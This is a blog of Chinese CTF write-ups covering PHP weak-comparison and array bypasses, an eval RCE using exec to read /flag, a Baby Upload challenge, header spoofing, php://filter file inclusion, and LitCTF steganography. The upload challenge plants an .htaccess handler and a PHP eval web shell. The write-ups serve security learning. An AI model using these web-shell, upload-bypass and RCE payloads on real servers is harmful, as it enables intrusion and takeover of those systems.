一些WriteUp
C3ngH Lv3

[NewStar2023]Begin Of PHP

Level 1 MD5弱类型比较:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}

根据PHP语言特性:==为弱类型比较,===为强类型比较

a==b:弱类型比较会将a和b转成统一数据类型在进行比较,而强类型比较会先判断a和b是不是相同类型,不是,则返回false,是,再比较a和b的值。

根据该特性,有以下几种绕过方法:

  1. 0e绕过:

    弱类型比较会把0exxxxx作为科学计数法,无论xxx为何值,0的任何次幂都为0,故科学计数法的值相同,以下字符串的MD5值相同

    s878926199a 0e545993274517709034328855841020

    s155964671a 0e342768416822451524974117254469

    s214587387a 0e848240448830537924465865611904

    s214587387a 0e848240448830537924465865611904

    s878926199a 0e545993274517709034328855841020

    s1091221200a 0e940624217856561557816327384675

    s1885207154a 0e509367213418206700842008763514

    s1502113478a 0e861580163291561247404381396064

    s1885207154a 0e509367213418206700842008763514

    s1836677006a 0e481036490867661113260034900752

    s155964671a 0e342768416822451524974117254469

    s1184209335a 0e072485820392773389523109082030

    s1665632922a 0e731198061491163073197128363787

    s1502113478a 0e861580163291561247404381396064

    s1836677006a 0e481036490867661113260034900752

    s1091221200a 0e940624217856561557816327384675

    s155964671a 0e342768416822451524974117254469

    s1502113478a 0e861580163291561247404381396064

    s155964671a 0e342768416822451524974117254469

    s1665632922a 0e731198061491163073197128363787

    s155964671a 0e342768416822451524974117254469

    s1091221200a 0e940624217856561557816327384675

    s1836677006a 0e481036490867661113260034900752

    s1885207154a 0e509367213418206700842008763514

    s532378020a 0e220463095855511507588041205815

    s878926199a 0e545993274517709034328855841020

    s1091221200a 0e940624217856561557816327384675

    s214587387a 0e848240448830537924465865611904

    s1502113478a 0e861580163291561247404381396064

    s1091221200a 0e940624217856561557816327384675

    s1665632922a 0e731198061491163073197128363787

    s1885207154a 0e509367213418206700842008763514

    s1836677006a 0e481036490867661113260034900752

    s1665632922a 0e731198061491163073197128363787

    s878926199a 0e545993274517709034328855841020

  2. 数组绕过:

    md5()函数计算的是一个字符串的哈希值,对于数组则返回false。

    注:弱遇到MD5强类型比较,可使用MD5完全相同的两个字符串进行绕过,也可使用数组进行绕过

Level 2 强类型比较:

1
2
3
4
5
6
7
8
9
10
if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}

可使用数组绕过

Level 3:

1
2
3
4
5
6
7
8
9
10
if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}

strcmp(str1,str2)函数是比较两个字符串,若字符串相等则输出1,<0则str1<str2,反则反之。

file_get_contents()函数会将文件读取到字符串中。

若strcmp传入数值为数组,则会返回NULL,构造NULL==0即可绕过

注:如果strcmp函数中存在一个数组,整个函数的输出值将会直接为0,不需再进行字符串比较

Level 4:

1
2
3
4
5
6
7
8
9
10
if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}

is_numeric() 函数用于检测变量是否为数字或数字字符串。如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。

则在key5后增加任何字母即可绕过,如2024a会在与2023比较时被视为2024

Level 5:过滤了字母和数字,可以采用数组或任意字符进行绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}

本层为extract函数导致的变量覆盖漏洞,这里的if判断只要保证传入变量flag5即可,根据上面的正则限制,变量值不能为字母和数字,那么传入一个任意符号即可通过本层。也可传入 flag5[]=1,上方无法检测到数据,下方 if 语句条件为 1,为真,得到 flag。

payload如下:

1
2
3
key1=QNKCDZO&key2=240610708&key4[]=2&key5=2024a

POST: key3[]=1&flag5=?

[NewStar2023]RCE

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}

本题要求password的前6位为c4d038,可以使用脚本进行枚举得到结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import hashlib
import random
import string

def generate_string_with_prefix(prefix, length):
while True:
# 生成随机字符串
random_string = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))

# 计算字符串的MD5哈希值
md5_hash = hashlib.md5(random_string.encode()).hexdigest()

# 检查哈希值的前缀是否匹配
if md5_hash.startswith(prefix):
return random_string

# 生成一个满足条件的字符串
prefix = "c4d038"
desired_length = 10 # 你可以根据需要设置字符串的长度
result_string = generate_string_with_prefix(prefix, desired_length)
print("生成的字符串:", result_string)
print("MD5哈希值:", hashlib.md5(result_string.encode()).hexdigest())

举例结果:N5ObQ0buWi

也可以使用数字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import hashlib

prefix = "c4d038"
target_hash = prefix.lower()

number = 0

while True:
# 将数字转换为字符串并计算 MD5 哈希
number_str = str(number)
hash_object = hashlib.md5(number_str.encode())
hash_hex = hash_object.hexdigest()

# 检查哈希是否与目标前缀匹配
if hash_hex.startswith(target_hash):
print("找到匹配的数字:", number_str)
break

number += 1

举例结果:114514

本题重点:e_v.a.l:若直接传递参数e_v.a.l则会报错,应改为e[v.a.l,原因如下:

PHP 在处理字符串时,会对一些特殊字符进行转义,以防止注入攻击或破坏语法结构。当 PHP 遇到字符串中的 “.” 时,通常会把它转换成 “”。这是为了防止通过字符串传入一些可 能破坏语法的内容。 但是如果 “.” 被放在"[]“中,PHP 就会认为这是一个数组索引的语法,不会进行转义。 所以: e_v.a.l 中的 “.” 被转义为 “”, e[v.a.l] 中的 “.” 没有被转义,因为它在”[]"中,PHP 认为这是数组语法的一部分

总结一下: 纯字符串中遇到"." 会被转义为"_" , 在[]中遇到"." 不会被转义,会保留原样,这是 PHP 的一个安全机制,目的是防止通过字符串突破语法结构或者注入攻击。放在[]中的内容会被认为是数组语法的一部分,所以不会进行转义

payload:

1
password=114514&e[v.a.l=echo exec("c'a't /fla?");

[GXYCTF2019]Baby Upload

本题源代码 index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){
$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];

if(preg_match("/ph/i", strtolower($uploaded_ext))){
die("后缀名不能有ph!");
}
else{
if ((($_FILES["uploaded"]["type"] == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
$content = file_get_contents($uploaded_tmp);
if(preg_match("/\<\?/i", $content)){
die("诶,别蒙我啊,这标志明显还是php啊");
}
else{
mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";
}
}
else{
die("上传类型也太露骨了吧!");
}
}
}
?>

这是一个用于文件上传的PHP脚本,它包含一些安全检查。以下是主要组件和安全措施的简要说明:

  1. 会话管理:

    1
    2
    3
    4
    session_start();
    if (!isset($_SESSION['user'])) {
    $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
    }

    脚本启动会话,并在不存在时生成一个唯一的用户标识符($_SESSION['user'])。此标识符用于为每个用户创建一个唯一的目录。

  2. 文件上传表单:

    1
    2
    3
    4
    5
    6
    echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> 
    <title>Upload</title>
    <form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
    上传文件<input type=\"file\" name=\"uploaded\" />
    <input type=\"submit\" name=\"submit\" value=\"上传\" />
    </form>";

    HTML表单允许用户上传文件。表单具有用于文件上传的必要属性(enctype="multipart/form-data")。

  3. 文件上传处理:

    1
    2
    3
    if(isset($_FILES['uploaded'])) {
    // ...
    }

    脚本检查是否提交了文件。

  4. 文件上传验证:

    1
    2
    3
    if(preg_match("/ph/i", strtolower($uploaded_ext))){
    die("后缀名不能有ph!");
    }

    检查文件扩展名是否包含"ph"(不区分大小写),如果是则终止脚本。

  5. 文件类型和大小验证:

    1
    2
    3
    if ((($_FILES["uploaded"]["type"] == "image/gif") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
    // ...
    }

    检查文件类型是否为图像(GIF、JPEG或PJPEG),以及文件大小是否小于2048字节(2 KB)。如果满足这些条件,脚本将继续进行进一步检查。

  6. PHP文件的内容检查:

    1
    2
    3
    4
    $content = file_get_contents($uploaded_tmp);
    if(preg_match("/\<\?/i", $content)){
    die("诶,别蒙我啊,这标志明显还是php啊");
    }

    脚本读取上传文件的内容,并检查是否存在PHP开标签。如果找到,则终止脚本。

  7. 安全的文件存储:

    1
    2
    mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
    move_uploaded_file($uploaded_tmp, $t_path);

    脚本为每个用户创建一个带有唯一标识符的目录,然后将上传的文件移动到该目录中。

  8. 输出消息:

    1
    echo "{$t_path} succesfully uploaded!";

    如果所有检查都通过,它会打印一个包含上传文件路径的成功消息。

本题部分wp:

先上传一个.htaccess文件,内容如下

1
2
3
<FilesMatch "\.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

.htaccess文件是Apache服务中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能。

其中.htaccess文件内容:

<FileMatch “.jpg”>是对于文件后缀名的匹配

SetHandler application/x-http-php的意思是设置当前目录所有文件都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则则报错

在本题中:对于上传文件的type做出了严格的限制,所以在上传.htaccess时需要把文件Type改成image/jpeg

在完成上传后,正常上传一句话木马,但是本题对于content也有过滤,所以:

1
<?php eval($_POST['password']); ?>

中的<?会被过滤,此时可以对木马进行改进:

1
2
3
<script language='php'>
eval(@$_POST['password']);
</script>

文件显示正常上传后使用蚁剑进行连接,注意:上传的文件名仍然为.jpg,所以在连接的时候依然要写jpg文件名,但是由于htaccess文件,jpg会默认被解析成为php。

[FSCTF2023]巴巴托斯

首先在首页看到如下提示:

1
Access Denied! I love FSCTF Browser

提示要用特定浏览器,猜测要修改UA头

更改User-Agent: FSCTF Browser

注意此处写FSCTF不对 要把Browser也加上

1
Access Denied! Are you local man?

提示需要本地访问

在修改XFF头和Client-IP无效后,尝试把Referer头修改为127.0.0.1成功

BP返回的包显示 200 OK 则连接正常 但是页面没有任何回显

在BP数据包的第一行可以看到:

1
GET /index.php?file=show_image.php

看到file参数则容易联想到文件包含问题

可以用php伪协议包含本页源代码,查看网站的限制

file=php://filter/read=convert.base64-encode/resource=index.php

解码后得到如下结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

$in_name = $_GET['file'];

if (isset($in_name)) {
if ($in_name === 'show_image.php') {
// 直接包含文件
include($in_name);
}
// 检查特定的 User-Agent 和 Referer 头
$user_agent = $_SERVER['HTTP_USER_AGENT'];

// 检查来源地址是否为 127.0.0.1
$ip_address = $_SERVER['REMOTE_ADDR'];

if ($user_agent =<span style="font-weight: bold;" class="mark"> 'FSCTF Browser') {
if (isset($_SERVER['HTTP_REFERER']) && $_SERVER['HTTP_REFERER'] </span>= '127.0.0.1') {

// 检查文件是否存在和可读
if (isset($in_name)) {
include($in_name);
} else {
echo "Invalid file!";
}

} else {
echo "Access Denied! Are you local man?";
}
} else {
echo "Access Denied! I love FSCTF Browser";
}
} else {
header('Location: index.php?file=show_image.php');
}
?>

尝试常见的flag文件名,最终file=php://filter/read=convert.base64-encode/resource=flag.php

进行base64解码得到flag

[GeekChallenge2023]ezhttp

HTTP请求头详解:HTTP 标头(header) - HTTP | MDN (mozilla.org)

第一步提示:请post传参username和password进行登录

尝试使用admin+123456,但提示密码错误

查看网页源代码发现hint:

1
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />请post传参username和password进行登录<br><br><!--密码有点记不住,所以我把密码记在了不想让爬虫获取的地方!-->

反爬虫协议参考链接:爬虫入门以及反爬协议——简单易懂_遵循反爬协议_可可宋的博客-CSDN博客

此处也可以用dirsearch等工具发现robots文件

故在URL内进行拼接:http://1.117.175.65:23333/robots.txt 查看robots协议

1
2
3
User-agent: *

Disallow: /o2takuXX's_username_and_password.txt

看到以上内容,在URL内进行访问http://1.117.175.65:23333/o2takuXX’s_username_and_password.txt 获得账号密码

1
2
username:admin
password:@dm1N123456r00t#

根据题目要求进行post传参,payload如下:

1
2
3
http://1.117.175.65:23333/

post: username=admin&password=@dm1N123456r00t#

网页提示如下:

admin用户登录成功

开始认证…

必须来源自sycsec.com

则修改Referer头为:sycsec.com

请使用Syclover浏览器

修改User-Agent头为:Syclover

请从localhost访问

添加XFF头为:127.0.0.1

请使用Syc.vip代理

添加via头为:Syc.vip

页面如下提示:

1
2
3
4
5
6
7
<?php

if($_SERVER['HTTP_O2TAKUXX']=="GiveMeFlag"){
echo $flag;
}

?>

[LitCTF 2024]Misc

盯帧珍珠

拖入010发现是GIF

image

修改后缀名为gif后在线网站分帧提取

image

flag:LitCTF{You_are_really_staring_at_frames}

涐贪恋和伱、甾―⑺dé毎兮毎秒

LSB隐写,用zsteg

image

flag:LitCTF{e8f7b267-9c45-4c0e-9d1e-13fc5bcb9bd6}

你说得对,但__

010发现图片末尾有zip,foremost提取

image

解压得到四张图片,是二维码四个部分,用ps拼在一起扫码

image

flag:LitCTF{Genshin_St@rt!!}

原铁,启动!

提瓦特文字+星铁文字

image

image

flag:LitCTF{good_gamer}

Everywhere We Go

听歌,1分10秒处有问题

audacity打开 看频谱图得到flag

image

 评论
评论插件加载失败
正在加载评论插件
访客数 访问量